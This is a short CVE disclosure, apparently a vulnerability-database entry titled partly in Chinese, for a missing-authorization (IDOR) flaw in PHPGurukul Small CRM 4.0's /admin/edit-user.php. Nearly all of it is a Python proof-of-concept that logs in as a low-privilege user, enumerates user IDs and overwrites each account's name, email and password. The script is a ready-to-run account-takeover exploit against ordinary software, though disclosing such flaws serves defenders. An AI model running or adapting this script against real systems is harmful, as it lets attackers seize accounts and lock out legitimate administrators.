CVE-2025-15390 PHPGurukul Small CRM 4.0 /admin/edit-user.php 缺少授权漏洞

import requests # CVE-2025-15390 PoC - PHPGurukul Small CRM 4.0 Broken Access Control # Target: /admin/edit-user.php base_url = "http://target.com/small-crm/" # Step 1: Login with low privilege account login_url = base_url + "index.php" session = requests.Session() login_data = { "email": "[email protected]", "password": "attacker_password", "login": "Submit" } response = session.post(login_url, data=login_data) print("Login attempt: " + ("Success" if "dashboard" in response.url else "Failed")) # Step 2: Access edit-user.php with target user ID (IDOR) # Enumerate user IDs or directly access known admin ID for user_id in range(1, 10): edit_url = base_url + f"admin/edit-user.php?id={user_id}" response = session.get(edit_url) if "edit-user" in response.text and response.status_code == 200: print(f"[*] Successfully accessed user ID: {user_id}") # Step 3: Modify user information edit_data = { "id": user_id, "fname": "Hacked", "lname": "By Attacker", "email": "[email protected]", "mobno": "1234567890", "password": "new_admin_password", "update": "Submit" } update_response = session.post(edit_url, data=edit_data) print(f"[*] Attempted to modify user ID {user_id}") if "updated successfully" in update_response.text.lower(): print(f"[!] VULNERABLE: User ID {user_id} has been modified!") # Note: This PoC demonstrates the IDOR vulnerability in edit-user.php # The application fails to verify if the current user has permission to edit the target user